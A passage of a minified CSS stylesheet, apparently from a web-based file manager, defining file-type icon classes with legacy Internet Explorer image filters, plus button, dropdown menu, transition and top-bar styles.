\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/suo.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/suo.png?ver=3.30',sizingMethod='scale');}.x-svg{background-image:url("../../../images/file_icon/icon_file/svg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/svg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/svg.png?ver=3.30',sizingMethod='scale');}.x-swf{background-image:url("../../../images/file_icon/icon_file/swf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/swf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/swf.png?ver=3.30',sizingMethod='scale');}.x-tar{background-image:url("../../../images/file_icon/icon_file/tar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tar.png?ver=3.30',sizingMethod='scale');}.x-txt{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-vb{background-image:url("../../../images/file_icon/icon_file/vb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vb.png?ver=3.30',sizingMethod='scale');}.x-vbproj{background-image:url("../../../images/file_icon/icon_file/vbproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbproj.png?ver=3.30',sizingMethod='scale');}.x-vbs{background-image:url("../../../images/file_icon/icon_file/vbs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbs.png?ver=3.30',sizingMethod='scale');}.x-vcf{background-image:url("../../../images/file_icon/icon_file/vcf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcf.png?ver=3.30',sizingMethod='scale');}.x-vcproj{background-image:url("../../../images/file_icon/icon_file/vcproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcproj.png?ver=3.30',sizingMethod='scale');}.x-vcxproj{background-image:url("../../../images/file_icon/icon_file/vcxproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcxproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcxproj.png?ver=3.30',sizingMethod='scale');}.x-vdw{background-image:url("../../../images/file_icon/icon_file/vdw.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdw.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdw.png?ver=3.30',sizingMethod='scale');}.x-vdx{background-image:url("../../../images/file_icon/icon_file/vdx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdx.png?ver=3.30',sizingMethod='scale');}.x-vsd{background-image:url("../../../images/file_icon/icon_file/vsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsd.png?ver=3.30',sizingMethod='scale');}.x-vsdx{background-image:url("../../../images/file_icon/icon_file/vsdx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsdx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsdx.png?ver=3.30',sizingMethod='scale');}.x-vss{background-image:url("../../../images/file_icon/icon_file/vss.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vss.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vss.png?ver=3.30',sizingMethod='scale');}.x-vst{background-image:url("../../../images/file_icon/icon_file/vst.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vst.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vst.png?ver=3.30',sizingMethod='scale');}.x-vsx{background-image:url("../../../images/file_icon/icon_file/vsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsx.png?ver=3.30',sizingMethod='scale');}.x-vtx{background-image:url("../../../images/file_icon/icon_file/vtx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vtx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vtx.png?ver=3.30',sizingMethod='scale');}.x-xaml{background-image:url("../../../images/file_icon/icon_file/xaml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');}.x-xap{background-image:url("../../../images/file_icon/icon_file/xap.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');}.x-xls{background-image:url("../../../images/file_icon/icon_file/xls.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');}.x-xlsb{background-image:url("../../../images/file_icon/icon_file/xlsb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');}.x-xlsm{background-image:url("../../../images/file_icon/icon_file/xlsm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');}.x-xlsx{background-image:url("../../../images/file_icon/icon_file/xlsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');}.x-xlt{background-image:url("../../../images/file_icon/icon_file/xlt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');}.x-xltx{background-image:url("../../../images/file_icon/icon_file/xltx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');}.x-xml{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-xps{background-image:url("../../../images/file_icon/icon_file/xps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');}.x-xsd{background-image:url("../../../images/file_icon/icon_file/xsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');}.x-xsl{background-image:url("../../../images/file_icon/icon_file/xsl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');}.x-y{background-image:url("../../../images/file_icon/icon_file/y.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');}.x-zip{background-image:url("../../../images/file_icon/icon_file/zip.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');}.x-folder{background-image:url("../../../images/file_icon/icon_others/folder.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');}.x-folder_share{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-recycle{background-image:url("../../../images/file_icon/icon_others/recycle.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');}.x-recycle_full{background-image:url("../../../images/file_icon/icon_others/recycle_full.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');}.x-path_self_share{background-image:url("../../../images/file_icon/icon_others/path_self_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');}.x-app_link{background-image:url("../../../images/file_icon/icon_others/app_link.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');}.x-user{background-image:url("../../../images/file_icon/icon_others/user.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');}.x-userSelf{background-image:url("../../../images/file_icon/icon_others/userSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');}.x-share{background-image:url("../../../images/file_icon/icon_others/share.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');}.x-groupSelf{background-image:url("../../../images/file_icon/icon_others/groupSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');}.x-groupSelfOwner{background-image:url("../../../images/file_icon/icon_others/groupSelfOwner.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');}.x-groupGuest{background-image:url("../../../images/file_icon/icon_others/groupGuest.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');}.x-groupSelfRoot{background-image:url("../../../images/file_icon/icon_others/groupSelfRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');}.x-groupRoot{background-image:url("../../../images/file_icon/icon_others/groupRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');}.x-groupPublic{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-treeSelf{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-computer{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-treeFav{background-image:url("../../../images/file_icon/icon_others/treeFav.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');}.x-edit{background-image:url("../../../images/file_icon/icon_others/edit.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');}.x-search{background-image:url("../../../images/file_icon/icon_others/search.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');}.x-upload{background-image:url("../../../images/file_icon/icon_others/upload.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');}.x-setting{background-image:url("../../../images/file_icon/icon_others/setting.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');}.x-appStore{background-image:url("../../../images/file_icon/icon_others/appStore.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');}.x-error{background-image:url("../../../images/file_icon/icon_others/error.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');}.x-info{background-image:url("../../../images/file_icon/icon_others/info.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');}body{font-size:12px;padding:0px;margin:0px;font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}textarea,input,button,pre,p,.can_select{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;}blockquote{padding:10px 20px;margin:0 0 20px 1em;border-left:10px solid #eee;background:#f6f6f6;}blockquote p{font-size:1em;margin:0px;}input,button,select,textarea{line-height:initial;}a{text-decoration:none;}a:focus{outline:none !important;}.content_box .ace_cjk{width:1em !important;}.content_box .ace_static_highlight{font-size:1.15em;}*,*:before,*:after{-webkit-box-sizing:inherit;-moz-box-sizing:inherit;box-sizing:inherit;}label{font-weight:normal;}pre{border:none;border-radius:0;}.btn-group-sm>.btn{padding:4px 10px;line-height:1em;}.btn{padding:6px 14px;border-radius:3px;}.btn .font-icon{color:#999;}.btn:focus{outline:none;}.btn.btn-default:active,.btn.btn-default.active{border-color:#ADADAD;color:#888;}.btn.btn-left{border-top-right-radius:0;border-bottom-right-radius:0;}.btn.btn-middle{border-radius:0;}.btn.btn-right{border-top-left-radius:0;border-bottom-left-radius:0;}.btn.btn-lg{padding:10px 16px;font-size:18px;line-height:1.33;}.btn.btn-nomal{padding:4px 12px;}.btn.btn-sm{padding:2px 10px;}.btn.btn-xs{padding:1px 5px;font-size:12px;line-height:1.5;}[class^="icon-"],[class*=" icon-"]{background-image:auto;}.dropdown-menu{left:auto;right:0px;border-radius:4px;border:1px solid rgba(0,0,0,0.05);box-shadow:0 4px 30px rgba(0,0,0,0.15);max-height:400px;}.dropdown-menu>li>a:hover,.dropdown-menu .this a,.dropdown-menu>li>a:focus{-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;background-image:none;filter:none;background:#63acff;color:#fff;}.dropdown-menu>li>a{font-weight:inherit;color:#666;}.dropdown-menu>li>a .font-icon{opacity:0.8;}.dropdown-menu:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);border-right:6px solid rgba(0,0,0,0);border-bottom:6px solid #FFF;position:absolute;top:-6px;right:10px;}.dropdown-menu:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);top:-7px;border-bottom:7px solid #CCC;border-bottom-color:rgba(0,0,0,0.2);right:9px;}.dropdown-menu.menu-top:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);top:inherit;border-right:6px solid rgba(0,0,0,0);border-top:6px solid #FFF;border-bottom:none;position:absolute;bottom:-6px;right:10px;}.dropdown-menu.menu-top:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-bottom:none;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);bottom:-7px;border-top:7px solid #CCC;border-top-color:rgba(0,0,0,0.2);right:9px;top:inherit;}.disable,.disabled{cursor:not-allowed;pointer-events:none;}h1,h2,h3,h4,h5,.h1,.h2,.h3,.h4,.h5{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;}.can_select,.can_select *{-khtml-user-select:text !important;-webkit-user-select:text !important;-moz-user-select:text !important;-ms-user-select:text !important;-o-user-select:text !important;user-select:text !important;}.can_not_select,.can_not_select *{-khtml-user-select:none !important;-webkit-user-select:none !important;-moz-user-select:none !important;-ms-user-select:none !important;-o-user-select:none !important;user-select:none !important;}.pl-5{padding-left:5px;}.pl-10{padding-left:10px;}.pl-15{padding-left:15px;}.pl-20{padding-left:20px;}.pr-5{padding-right:5px;}.pr-10{padding-right:10px;}.pr-15{padding-right:15px;}.pr-20{padding-right:20px;}.ml-5{margin-left:5px;}.ml-10{margin-left:10px;}.ml-15{margin-left:15px;}.ml-20{margin-left:20px;}.mr-5{margin-right:5px;}.mr-10{margin-right:10px;}.mr-15{margin-right:15px;}.mr-20{margin-right:20px;}.fl{float:left;}.fl-left{float:left;}.fl-right{float:right;}.clear{clear:both;}.FontAwesome{font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;font-size:18px;}.translation-fast{-webkit-transition:all 0.168s ease-in-out;-moz-transition:all 0.168s ease-in-out;-o-transition:all 0.168s ease-in-out;-ms-transition:all 0.168s ease-in-out;transition:all 0.168s ease-in-out;}.translation-nomal{-webkit-transition:all 0.25s ease-in-out;-moz-transition:all 0.25s ease-in-out;-o-transition:all 0.25s ease-in-out;-ms-transition:all 0.25s ease-in-out;transition:all 0.25s ease-in-out;}.translation-slow{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-200{-webkit-transition:all 0.2s ease-in-out;-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-ms-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;}.translation-300{-webkit-transition:all 0.3s ease-in-out;-moz-transition:all 0.3s ease-in-out;-o-transition:all 0.3s ease-in-out;-ms-transition:all 0.3s ease-in-out;transition:all 0.3s ease-in-out;}.translation-500{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-1000{-webkit-transition:all 1.0s ease-in-out;-moz-transition:all 1.0s ease-in-out;-o-transition:all 1.0s ease-in-out;-ms-transition:all 1.0s ease-in-out;transition:all 1.0s ease-in-out;}.aui_buttons button{font-size:1em;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dialogChangeMax,.dialogChangeMax .aui_main{-webkit-transition:all 0.25s;-moz-transition:all 0.25s;-o-transition:all 0.25s;-ms-transition:all 0.25s;transition:all 0.25s;}.aui_title span{position:absolute;width:80%;overflow:hidden;height:30px;word-break:break-all;text-overflow:ellipsis;white-space:nowrap;}.less-error-message{display:none;}input{border:1px solid #ddd;background:#fff;outline:none;}input[type="radio"],input[type="checkbox"]{border:none;background:none;}.topbar{width:100%;height:40px;color:#ddd;z-index:100;top:0;background:#63acff;position:fixed;}.topbar .content{padding:0px;line-height:40px;height:40px;wordbreak:break-all;}.topbar .content i.font-icon{display:inline-block;padding-right:10px;font-size:1.1em;}.topbar .content .topbar_menu{display:block;text-decoration:none;color:#fff;border:1px solid #4a9eff;overflow:hidden;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;padding:0px 1.2em;border-top:none;border-bottom:none;outline:none;float:left;margin-left:-1px;font-size:14px;}.topbar .content .topbar_menu.title{font-size:20px;width:200px;width:202px\0;padding:0;text-align:center;}.topbar .content .topbar_menu.title:hover{background:none;}.topbar .content .open .topbar_menu,.topbar .content .topbar_menu:hover,.topbar .content .topbar_menu.this{background:#4a9eff;}.topbar .content .menu-desktop:before{content:"\f108";}.topbar .content .menu-explorer:before{content:"\f0ae";}.topbar .content .menu-editor:before{content:"\f044";}.topbar .content .top_left{overflow:hidden;height:40px;width:70%;}.topbar .content .top_right{position:absolute;right:0px;top:0px;margin-right:0px;height:40px;}.topbar .content .top_right .menu_group{height:40px;margin-right:-1px;float:left;position:relative;}.topbar .content .top_right .topbar_menu{display:inline-block;padding:0px 6px;margin-right:1px;}.topbar .content .top_right .topbar_menu i{padding-right:3px;}.topbar .content .top_right .btn{color:#fff;}.topbar .content .top_right ul a{line-height:30px;height:30px;display:block;padding:0px 1.7em;border:none;overflow:hidden;}.topbar .content .top_right ul a:hover,.topbar .content .top_right ul a.this{margin-right:0px;}.topbar .content .top_right ul a.this{background:#63acff;color:#fff;}.topbar .content .top_right ul .font-icon{width:18px;display:inline-block;}.topbar .content .top_right ul.dropdown-menu.topbar_language{width:480px;padding:10px 5px;}.topbar .content .top_right ul.dropdown-menu.topbar_language li{width:120px;float:left;}.topbar .content 